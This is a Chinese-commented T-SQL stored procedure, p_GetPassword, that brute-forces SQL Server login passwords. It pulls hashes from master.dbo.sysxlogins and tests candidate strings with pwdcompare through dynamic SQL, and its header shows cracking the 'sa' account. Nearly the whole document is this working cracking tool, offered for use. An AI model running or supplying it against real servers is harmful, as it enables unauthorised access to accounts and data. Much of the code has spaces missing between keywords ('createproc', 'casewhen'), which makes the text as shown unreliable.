/**//*--穷举法破解 SQL Server 用户密码 可以破解中文,特殊字符,字符+尾随空格的密码 为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII 理论上可以破解任意位数的密码 条件是你的电脑配置足够,时间足够 --邹建 2004.08(引用请保留此信息)--*/ /**//*--调用示例 --测试特殊字符 declare @pwd sysname set @pwd=char(0)+'a ' exec sp_password null,@pwd,'sa' exec p_GetPassword --测试带空格的密码 exec sp_password null,'a ','sa' exec p_GetPassword --测试中文 exec sp_password null,'我 ','sa' exec p_GetPassword --清除密码 exec sp_password null,null,'sa' --*/ createproc p_GetPassword @username sysname=null, --用户名,如果不指定,则列出所有用户 @pwdlenint=3--密码破解的位数,默认只破解3位及以下的密码 as --生成要破解的密码的用户表 select name,password ,type=casewhen xstatus&2048=2048then1else0end ,jm=casewhen password isnullordatalength(password)<46 then1else0end ,pwdstr=casewhendatalength(password)<46 thencast(password as sysname) elsecast(''as sysname) end ,pwd=cast(''asvarchar(8000)) into #pwd from master.dbo.sysxlogins a where srvid isnull and name=isnull(@username,name) --生成临时表 selecttop255 id=identity(int,0,1) into #t from sysobjects a,sysobjects b altertable #t addconstraint PK_#t primarykey(id) --清理不需要的字符 ifnotexists(select1from #pwd where type=1) deletefrom #t where id between65and90or id between129and254 --密码破解处理 declare@lint declare@s1varchar(8000),@s2varchar(8000),@s3varchar(8000),@s4varchar(8000) --破解1位密码 select@l=0 ,@s1='id=a.id' ,@s2='#t a' ,@s3='char(b.id)' ,@s4='cast(b.id as varchar)' exec(' update pwd set jm=1,pwdstr='+@s3+' ,pwd='+@s4+' from #pwd pwd,#t b where pwd.jm=0 and pwdcompare('+@s3+',pwd.password,pwd.type)=1 ') --破解超过2位的密码 whileexists(select1from #pwd where jm=0and@l<@pwdlen-1) begin select@l=@l+1 ,@s1=@s1+',id'+cast(@lasvarchar) +'='+char(@l/26+97)+char(@l%26+97)+'.id' ,@s2=@s2+',#t '+char(@l/26+97)+char(@l%26+97) ,@s3=@s3+'+char(b.id'+cast(@lasvarchar)+')' ,@s4=@s4+'+'',''+cast(b.id'+cast(@lasvarchar)+' as varchar)' exec(' select '+@s1+' into #tt from '+@s2+' update pwd set jm=1,pwdstr='+@s3+' ,pwd='+@s4+' from #pwd pwd,#tt b where pwd.jm=0 and pwdcompare('+@s3+',pwd.password,pwd.type)=1 ') end --显示破解的密码 select 用户名=name,密码=pwdstr,密码ASCII=pwd from #pwd go